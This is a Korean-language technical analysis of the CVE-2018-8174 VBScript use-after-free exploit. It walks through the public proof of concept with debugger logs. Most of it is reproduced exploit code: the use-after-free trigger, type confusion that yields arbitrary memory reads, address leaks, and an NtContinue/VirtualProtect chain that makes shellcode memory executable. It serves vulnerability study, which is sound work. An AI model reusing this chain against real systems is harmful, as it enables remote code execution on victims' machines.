
CVE-2018-8174 VBS 익스플로잇 분석
이 익스플로잇이 4월과 5월이 바뀌는 시점에 처음 등장했을 때, 강한 난독화에도 불구하고 코드 구조가 잘 정리되어 있고 취약점 악용 코드가 충분히 작아 분석이 더 단순해 보여서 관심이 갔다. github에서 POC를 다운로드하여 내부를 살펴보기에 좋은 후보라고 판단했다. 당시에는 이미 두 개의 분석이 공개되어 있었다. 하나는 360의 것이고, 다른 하나는 Kaspersky의 것이었다. 두 분석 모두 작동 방식을 이해하는 데 도움이 되었지만, 익스플로잇의 모든 측면을 깊이 이해하기에는 충분하지 않았다. 그래서 직접 분석하여 결과를 공유하기로 결정했다.
먼저 정수 난독화를 제거하기 위해 파이썬 스크립트에서 정규식 치환을 사용했다:
import re
def process(matchobj):
line = matchobj.group(1)
line = line.lower().replace('&h', '0x')
return str(eval(line)) # extremly safe :)
data = open('analysis.vbs', 'r').read()
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)
난독화된 이름에 대해서는 분석하는 동안 점진적으로 이름을 변경했다. 이 분석은 끝에 링크가 있는 소스 코드와 함께 읽는 것이 가장 좋다.
취약점은 객체가 종료되고 사용자 정의 함수 Class_Terminate()가 호출될 때 발생한다. 이 함수에서는 해제되는 객체에 대한 참조가 UafArray에 저장된다. 이제부터 UafArray(i)는 삭제된 객체를 가리킨다.
Class ClassTerminateA
Private Sub Class_Terminate()
Set UafArrayA(UafCounter)=FreedObjectArray(1)
UafCounter=UafCounter+1
FreedObjectArray(1)=1 ' fix ref counter
End Sub
End Class
...
UafCounter=0
For idx=0 To 6
ReDim FreedObjectArray(1)
Set FreedObjectArray(1)=New ClassTerminateA
Erase FreedObjectArray
Next
또한 Class_Terminate()의 마지막 줄에 주목하라. ClassTerminate 객체를 UafArray에 복사하면 참조 카운터가 증가한다. 이를 균형 맞추기 위해 FreedObjectArray에 다른 값을 할당하여 다시 해제한다. 이렇게 하지 않으면 객체에 Class_Terminate를 호출해도 객체의 메모리가 해제되지 않고, 다음 객체가 그 자리에 할당되지 않을 것이다.

새 객체를 생성하고 삭제하는 과정이 루프에서 7번 반복된 후, ReuseClass 클래스의 새 객체가 생성된다. 이 객체는 이전에 7개의 ClassTerminate 인스턴스가 차지했던 것과 동일한 메모리에 할당된다.
이를 더 잘 이해하기 위해, 다음은 모든 할당을 추적하는 간단한 WinDbg 스크립트이다:
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";
다음은 UafTrigger 함수의 할당 로그이다:
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600
ReuseClass가 실제로 이전 7개의 ClassTerminate 인스턴스에 할당되었던 것과 동일한 메모리에 할당된다는 것을 바로 알 수 있다.
이 과정이 두 번 반복된다. 결과적으로 UafArrays에 의해 참조되는 두 개의 객체가 생긴다. 이 참조 중 어느 것도 객체의 참조 카운터에 반영되지 않는다.
이 로그에서는 Class_Terminate가 호출된 후에도 참조 카운터를 변경하는 객체 조작이 있음을 확인할 수 있다. 그렇기 때문에 Class_Terminate에서 이 카운터를 균형 맞추지 않으면 다음과 같은 결과가 발생한다:
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740
할당 주소가 다르다. 익스플로잇은 사용 후 해제 조건을 만들지 못할 것이다.
각각에 대해 7개의 계산되지 않은 참조를 가진 두 객체를 생성함으로써 임의 메모리 읽기 원시형을 확립했다. ReuseClass와 FakeReuseClass라는 두 개의 유사한 클래스가 있다. 첫 번째 클래스를 두 번째 클래스로 교체하면 mem 멤버에 대한 타입 혼동이 발생한다.
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value ' will actually call Default Poperty Get
SetProp=0
End Function
End Class
Class FakeReuseClass
Dim mem
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class
SetProp 함수에서 ReuseClass.mem이 저장되고 ReplacingClass_* 클래스의 Default Property Get이 호출되며, 해당 호출의 결과는 ReuseClass.mem에 저장된다.
Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") 'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For idx=0 To 6
UafArrayA(idx)=0
Next
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
For idx=0 To 6
Set UafArrayA(idx)=objectImitatingArray
Next
End Property
그 getter 내부에서 UafArray의 각 요소에 0을 할당하여 비운다. 이로 인해 UafArray가 참조하는 ReuseClass 객체에 대해 VBScriptClass::Release가 호출된다. 실행의 이 단계에서 ReuseClass 객체는 참조 카운터가 7과 같으며, Release를 7번 호출하므로 이 객체는 해제된다. 그리고 이러한 참조는 사용 후 해제 상황에서 비롯되었기 때문에 참조 카운터에 반영되지 않는다. ReuseClass 자리에는 FakeReuseClass의 새 객체가 할당된다. 이제 ReuseClass의 경우와 마찬가지로 참조 카운터를 7로 만들기 위해 UafArray에 7번 할당한다. 다음은 이 작업 전후의 메모리 레이아웃이다.


이 작업이 완료된 후 getter 함수는 이전 ReuseClass::mem 변수에 할당될 값을 반환한다. 메모리 덤프에서 볼 수 있듯이 이전 값은 새 값보다 0xC 바이트 앞에 배치되어 있었다. 객체는 예를 들어 함수 이름의 적절한 길이를 선택하여 이러한 상황을 유발하도록 특수하게 제작되었다. 이제 ReuseClass::mem에 기록된 값이 FakeReuseClass::mem 헤더를 덮어써서 타입 혼동 상황을 일으킨다.

FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY structure as string
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'String with nulls, used as memory to write to
objectImitatingArray.mem = FakeArrayString
마지막 줄은 문자열 FakeArrayString을 objectImitatingArray.mem에 할당했다. 이제 헤더는 VT_BSTR 값을 가진다.
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
이 값은 objectImitatingArray.mem의 타입을 VT_ARRAY | VT_VARIANT로 덮어썼고, 이제 문자열에 대한 포인터는 SAFEARRAY 구조체에 대한 포인터로 해석된다.
결과적으로 두 개의 FakeReuseClass 객체가 생긴다. 하나는 전체 사용자 공간(0x00000000 - 0x7fffffff)을 주소 지정하는 mem 멤버 배열을 가지고 있고, 다른 하나는 빈 16바이트 문자열에 대한 포인터가 있는 VT_I4(4바이트 정수) 타입의 멤버를 가진다. 두 번째 객체를 사용하여 문자열에 대한 포인터가 누출된다:
some_memory=resueObjectB_int.mem
이 값은 나중에 쓰기 가능한 메모리의 주소로 사용된다. 다음 단계는 vbscript.dll 내부의 임의 주소를 누출하는 것이다. 여기서 매우 깔끔한 트릭이 사용된다.
Function LeakVBAddr
On Error Resume Next
Dim emptySub_addr_placeholder
emptySub_addr_placeholder=EmptySub
emptySub_addr_placeholder=null
SetVarData emptySub_addr_placeholder
LeakVBAddr=ReadRawPointer()
End Function
먼저 오류가 발생하면 스크립트가 정상 실행을 계속하도록 정의한다. 그런 다음 EmptySub를 변수에 할당하려고 시도한다. VBS에서는 불가능하지만 오류가 생성되기 전에 여전히 스택에 값이 푸시된다. 다음 명령은 변수에 null을 할당해야 하며, 스택의 마지막 값 타입을 VT_NULL로만 변경하여 이를 수행한다. 이제 emptySub_addr_placeholder는 타입이 VT_NULL로 설정된 함수 포인터를 보유한다.
Function ReadRawPointer
resueObjectA_arr.mem(some_memory)=3 ' set var type to type vbLong
ReadRawPointer=resueObjectA_arr.mem(some_memory+8) ' read data as vbLong
End Function
Sub SetVarData(ByRef ref)
resueObjectA_arr.mem(some_memory+8)=ref ' set data
End Sub
그런 다음 이 값은 쓰기 가능한 메모리에 기록되고, 타입은 VT_I4로 변경된 후 정수로 다시 읽힌다. 이 값의 내용을 확인하면 CScriptEntryPoint에 대한 포인터이고, 첫 번째 멤버는 vbscript.dll 내부를 가리키는 vftable임을 알 수 있다.

임의 주소에서 값을 읽으려면, 이 경우 LeakVBAddr에서 반환된 포인터를 읽으려면 다음 함수들이 사용된다:
Function GetUint32(addr)
Dim value
resueObjectA_arr.mem(some_memory+8)=addr+4 ' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] == [addr]
resueObjectA_arr.mem(some_memory)=8 ' set type to VT_BSTR
value=resueObjectA_arr.ReadBstrValll
resueObjectA_arr.mem(some_memory)=2 ' set type to original VT_I2
GetUint32=value
End Function
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
읽기는 먼저 address+4를 쓰기 가능한 메모리에 기록한 다음 타입을 VT_BSTR로 변경하여 수행된다. 이제 address+4는 BSTR에 대한 포인터로 처리된다. address+4에 LenB를 호출하면 address가 가리키는 값이 반환된다. 왜일까? BSTR이 정의된 방식 때문에 유니코드 값 앞에 길이가 오고, LenB는 그 길이를 반환하기 때문이다.

이제 vbscript.dll 내부의 주소가 누출되었고 _임의 메모리 읽기_가 확립되었으므로, 필요한 모든 주소를 얻기 위해 PE 헤더를 올바르게 탐색하는 문제가 남는다.
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")
이를 수행하는 세부 사항은 여기서 설명하지 않는다. 이 문서는 PE 파일을 매우 자세하게 설명한다.
최종 코드 실행은 두 단계로 이루어진다. 먼저 두 개의 호출 체인이 구성되지만, 이것은 ROP 체인이 아니다. NtContinue에는 EIP를 VirtualProtect 주소로 설정하고 ESP를 VirtualProtect의 매개변수를 포함하는 구조체로 설정하는 CONTEXT 구조체가 제공된다.
Function VirtualProtectCallParameters(shellcodePtr)
Dim result
result = String(10000,Unescape("%u4141")) ' 'A' * 0x10fdc - padding, this space will be used as stack
result = result & UnescapeValue(shellcodePtr) ' &shellcode - address to return to after VirtualProtect
result = result & UnescapeValue(shellcodePtr) ' &shellcode - lpAddress (1st param for VirtualProtect)
result = result & UnescapeValue(12288) ' 0x3000 - size (2nd param for VirtualProtect)
result = result & UnescapeValue(64) ' 0x40 - newProtect (3rd param for VirtualProtect)
result = result & UnescapeValue(shellcodePtr-8) ' &(shellcode-8) - lpOldProtect (4th param for VirtualProtect)
result = result & String(6,Unescape("%u4242")) ' 'B' * 12 - padding and allignment
result = result & StructWithNtContinueAddr() ' \x00 * 3 NtContinue * 4 \x00
result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - padding
VirtualProtectCallParameters = result
End Function
Function StructForNtContinue(structForVirtualProtect)
Dim result
Dim ntContinuePtr
ntContinuePtr = structForVirtualProtect + 35
result = ""
result = result & UnescapeValue(ntContinuePtr)
result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8 - initalize _CONTEXT with 'A'
result = result & UnescapeValue(VirtualProtect) ' VirtualProtect - _EIP in _CONTEXT struct
result = result & UnescapeValue(27) ' 0x1b - CsSeg in _CONTEXT struct
result = result & UnescapeValue(0) ' 0x00 - EFLAGS in _CONTEXT struct
result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP in _CONTEXT struct
result = result & UnescapeValue(35) ' 0x23 - SsSeg in _CONTEXT struct
result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - padding
StructForNtContinue = result
End Function
SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)
셸코드의 첫 번째 주소는 앞서 설명한 변수 타입을 VT_I4로 변경하고 포인터를 읽는 기술을 사용하여 얻는다. 다음으로 셸코드 주소, 크기, RWX 보호와 같은 필요한 모든 매개변수를 포함하는 VirtualProtect용 구조체가 생성된다. 또한 VirtualProtect 내부의 스택 작업에 사용될 공간도 있다. 그 후 EIP를 VirtualProtect로, ESP를 해당 매개변수로 설정한 CONTEXT 구조체가 생성된다. 이 구조체는 첫 번째 값으로 NtContinue 주소에 대한 포인터가 4번 반복되어 있다. 이 체인을 시작하기 전 마지막 단계는 구조체를 메모리의 문자열로 저장하는 것이다.
Sub TriggerCodeExecution
resueObjectA_arr.mem(some_memory)=&h4d
resueObjectA_arr.mem(some_memory+8)=0
End Sub
그런 다음 이 함수는 체인을 시작하는 데 사용된다. 먼저 저장된 구조체의 타입을 0x4D로 변경한 다음 해당 값을 0으로 설정하여 VAR::Clear가 호출되도록 한다.

그리고 디버거에서 본 동적 화면

복잡해 보일 수 있지만 이 실행 체인은 매우 간단하다. 단 두 단계뿐이다. VirtualProtect를 가리키는 CONTEXT 구조체로 NtContinue를 호출한다. 그러면 VirtualProtect가 셸코드를 포함하는 메모리 페이지에서 DEP를 비활성화한 다음 셸코드로 반환된다.
CVE-2018-8174은 몇 가지 사용 후 해제 및 타입 혼동 조건을 연결하여 매우 영리한 방식으로 코드 실행을 달성한 좋은 사례이다. 이러한 익스플로잇의 내부 작동 방식을 배우고 이해하기에 훌륭한 예이다.